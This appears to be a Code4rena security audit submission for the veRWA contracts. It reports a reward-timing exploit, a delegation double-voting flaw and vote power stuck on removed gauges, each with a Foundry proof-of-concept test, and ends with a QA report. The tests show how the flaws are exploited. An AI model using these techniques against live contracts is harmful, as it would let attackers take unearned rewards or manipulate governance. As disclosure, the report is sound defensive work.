veRWA - immeas's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L16-L17 https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L134-L137 https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L168-L175

Vulnerability details

Description

Rewards in LendingLedger are distributed on a per epoch (weekly) basis:

LendingLedger.lendingMarketBalances:

File: LendingLedger.sol

16:    /// @dev Lending Market => Lender => Epoch => Balance
17:    mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch

Here each time a lender deposits or withdraws their balance is updated:

LendingLedger::sync_ledger:

File: LendingLedger.sol

134:        uint256 currEpoch = (block.timestamp / WEEK) * WEEK;
135:        int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta;
136:        require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
137:        lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance);

Then rewards can be claimed up to the previous epoch:

LendingLedger::claim

File: LendingLedger.sol

168:            for (uint256 i = claimStart; i <= claimEnd; i += WEEK) {
169:                uint256 userBalance = lendingMarketBalances[_market][lender][i];
170:                uint256 marketBalance = lendingMarketTotalBalance[_market][i];
171:                RewardInformation memory ri = rewardInformation[i];
172:                require(ri.set, "Reward not set yet"); // Can only claim for epochs where rewards are set, even if it is set to 0
173:                uint256 marketWeight = gaugeController.gauge_relative_weight_write(_market, i); // Normalized to 1e18
174:                cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance); // (marketWeight / 1e18) * (userBalance / marketBalance) * ri.amount;
175:            }

The issue is that, since it is tracked on a discrete epoch basis, a user only needs to hold a position just when the epoch transitions over. They can open a position in the block before the epoch switch and then close it in the block after. Thus they only need to actually hold the position in one block.

Impact

To get rewards, a lender only needs to hold a position for the block crossing the epoch "cutoff". This is easily scripted with a bot to automate on behalf of the lender.

Proof of Concept

Test in LendingLedger.t.sol:

    function testOnlyHoldPositionAcrossEpochCutoff() public {
        whiteListMarket();
        vm.prank(goverance);
        ledger.setRewards(fromEpoch, toEpoch, amountPerEpoch);
        payable(ledger).transfer(1000 ether);
        
        int256 delta = 1.1 ether;

        vm.startPrank(lendingMarket);
        
        // lender deposits just before next epoch
        vm.warp(WEEK * 5 + WEEK - 1); // epoch "5"
        ledger.sync_ledger(lender, delta);
        assertEq(ledger.lendingMarketBalances(lendingMarket,lender,WEEK * 5),uint256(delta));

        // lender withdraws one block after
        vm.warp(WEEK * 5 + WEEK + 1); // epoch "6"
        ledger.sync_ledger(lender, -delta);
        assertEq(ledger.lendingMarketBalances(lendingMarket,lender,WEEK * 6),0);

        // same process can be repeated each epoch cutoff
        vm.warp(WEEK * 6 + WEEK - 1); // epoch "6"
        ledger.sync_ledger(lender, delta);
        assertEq(ledger.lendingMarketBalances(lendingMarket,lender,WEEK * 6),uint256(delta));
        vm.warp(WEEK * 6 + WEEK + 1); // epoch "7"
        ledger.sync_ledger(lender, -delta);
        assertEq(ledger.lendingMarketBalances(lendingMarket,lender,WEEK * 7),0);
        
        vm.stopPrank();

        uint256 balanceBefore = lender.balance;

        vm.prank(lender);
        // lender has only held a position for two blocks, still got rewards for two epochs
        ledger.claim(lendingMarket, WEEK * 5, WEEK * 7);
        assertEq(lender.balance - balanceBefore,2*amountPerEpoch);
    }

Tools Used

Manual audit

Recommended Mitigation Steps

Consider tracking rewards per second instead of per epoch

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L214-L220

Vulnerability details

Description

When voting for gauge weights in GaugeController a users latest vote weight is queried from VotingEscrow:

GaugeController::vote_for_gauge_weights

File: GaugeController.sol

214:        VotingEscrow ve = votingEscrow;
215:        (
216:            ,
217:            /*int128 bias*/
218:            int128 slope_, /*uint256 ts*/
219:
220:        ) = ve.getLastUserPoint(msg.sender);

This is then used to calculate the total voting weight for the gauge.

The issue is that weights are added based on the current voting power of the user. Hence two users/accounts can collude and delegate to each other:

1. Alice delegates to Bob.
2. Bob votes for a gauge with both Alice and Bobs weight.
3. Bob and Alice switches delegatees so that Bob delegates to Alice.
4. Alice votes for the same gauge, again with both of their weights.
5. The gauge now has 2x Alice and Bobs weights.

Impact

Users that are colluding or have multiple accounts can have their votes counted multiple times when voting for gauge weights. This can cause the gauge they are voting for to get an unfair share of rewards in LendingLedger

Proof of Concept

Test in GaugeController.t.sol

    address user3 = address(3333);

    function testDelegateAndVote() public {
        vm.warp(WEEK);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);
        vm.deal(user3, 100 ether);
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 0);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge2, 0);
        vm.stopPrank();

        uint256 v = 10 ether;
        uint256 epoch = (block.timestamp / WEEK) * WEEK + WEEK;

        // reference gauge
        vm.startPrank(user1);
        ve.createLock{value: v}(v);
        gc.vote_for_gauge_weights(gauge1, 10_000);
        vm.stopPrank();

        vm.prank(user2);
        ve.createLock{value: v}(v);

        // user3 delegates to user2
        vm.startPrank(user3);
        ve.createLock{value: v}(v);
        ve.delegate(user2);
        vm.stopPrank();

        vm.prank(user2);
        gc.vote_for_gauge_weights(gauge2, 10_000);

        // gauge2 as double the votes to gauge1, since two people voted
        uint256 relWeight = gc.gauge_relative_weight_write(gauge2, epoch);
        // ~66%
        assertApproxEqRel(0.6666e18,relWeight,0.01e18);

        // switch delegatee
        vm.prank(user3);
        ve.delegate(user3);
        vm.prank(user2);
        ve.delegate(user3);
        
        // user3 votes for gauge2 with user2 delegated votes
        vm.prank(user3);
        gc.vote_for_gauge_weights(gauge2, 10_000);

        relWeight = gc.gauge_relative_weight_write(gauge2, epoch);
        // ~80% relative weight for gauge2 i.e. 4 times the weight after just 2 people voted
        assertApproxEqRel(0.80e18,relWeight,0.001e18);
    }

Tools Used

Manual audit

Recommended Mitigation Steps

Consider not counting delegated votes when adding weight. Otherwise an elaborate tracking system for who delegated for who is needed.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L127-L132

Vulnerability details

Description

On top of the curve GaugeController.vy, GaugeController.sol has added the ability for governance to remove a gauge:

GaugeController::remove_gauge:

File: GaugeController.sol

127:    function remove_gauge(address _gauge) external onlyGovernance {
128:        require(isValidGauge[_gauge], "Invalid gauge address");
129:        isValidGauge[_gauge] = false; // <-- valid set to false
130:        _change_gauge_weight(_gauge, 0);
131:        emit GaugeRemoved(_gauge);
132:    }

The issue is that once removed, a user cannot remove their assigned vote power:

GaugeController::vote_for_gauge_weights:

File: GaugeController.sol

213:        require(isValidGauge[_gauge_addr], "Invalid gauge address"); // <-- must be valid to interact with

Hence, any vote power still allocated to the removed gauge will be locked and cannot be re-assigned.

Impact

Any vote power assigned to a gauge that is removed will be locked. It can only be recovered by adding the gauge back. Making removing a gauge impractical.

Proof of Concept

Test in GaugeController.t.sol

    function testVoteStuckWhenGaugeRemoved() public {
        // prepare
        vm.deal(user1, 100 ether);
        vm.startPrank(gov);
        gc.add_gauge(user1);
        gc.change_gauge_weight(user1, 100);

        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge2, 100);

        vm.stopPrank();

        uint256 v = 10 ether;

        // user votes for a gauge
        vm.startPrank(user1);
        ve.createLock{value: v}(v);
        gc.vote_for_gauge_weights(user1, 10_000);
        vm.stopPrank();

        // governance removes the gauge
        vm.prank(gov);
        gc.remove_gauge(user1);

        vm.startPrank(user1);

        // user cannot remove their votes
        vm.expectRevert("Invalid gauge address");
        gc.vote_for_gauge_weights(user1, 0);

        // or use the power to vote on anything else
        vm.expectRevert("Used too much power");
        gc.vote_for_gauge_weights(gauge2, 1);

        vm.stopPrank();
    }

Tools Used

Manual audit

Recommended Mitigation Steps

Consider adding a call to reclaim vote power when a gauge is removed. This would also need tracking of vote power per gauge to make sure only vote power assigned to inactive gauges can be reclaimed.

Assessed type

DoS

QA report

Summary

Low

L-01 governance cannot be changed

In both LendingLedger and GaugeController there is a privileged role, governance, that can perform certain functions. This role is written upon construction. The issue is that it cannot be changed. There are plenty of reasons this could be needed, the project might want to move their governance to a new multisig/timelock or from a EOA to multisig or from a multisig to a timelock.

Recommendation

Consider adding a way to change governance, preferably a two step process.

Non critical / Informational

NC-01 weird formatting

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L215-L220

File: GaugeController.sol

215:        (
216:            ,
217:            /*int128 bias*/
218:            int128 slope_, /*uint256 ts*/
219:
220:        ) = ve.getLastUserPoint(msg.sender);

This is weirdly formatted which makes it hard to read, consider condensing it and either move the comments to where the variables would have been or remove them:

        ( , int128 slope_, ) = ve.getLastUserPoint(msg.sender);

or

        VotingEscrow ve = votingEscrow;
        (
        	/*int128 bias*/,
            int128 slope_,
            /*uint256 ts*/
        ) = ve.getLastUserPoint(msg.sender);

This makes it easier to read.

NC-02 natspec not properly highlighted

In VotingEscrow.sol there are some natspec comments that lack an extra / with makes them not highight properly:

File: VotingEscrow.sol

267:    // See IVotingEscrow for documentation

286:    // See IVotingEscrow for documentation
287:    // @dev A lock is active until both lock.amount==0 and lock.end<=block.timestamp

422.    // @dev Floors a timestamp to the nearest weekly increment
423:    // @param _t Timestamp to floor

428:    // @dev Uses binarysearch to find the most recent point history preceeding block
429:    // @param _block Find the most recent point history before this block
430:    // @param _maxEpoch Do not search pointHistories past this index

448:    // @dev Uses binarysearch to find the most recent user point history preceeding block
449:    // @param _addr User for which to search
450:    // @param _block Find the most recent point history before this block

Consider adding an extra / to add proper highlighting to the natspec.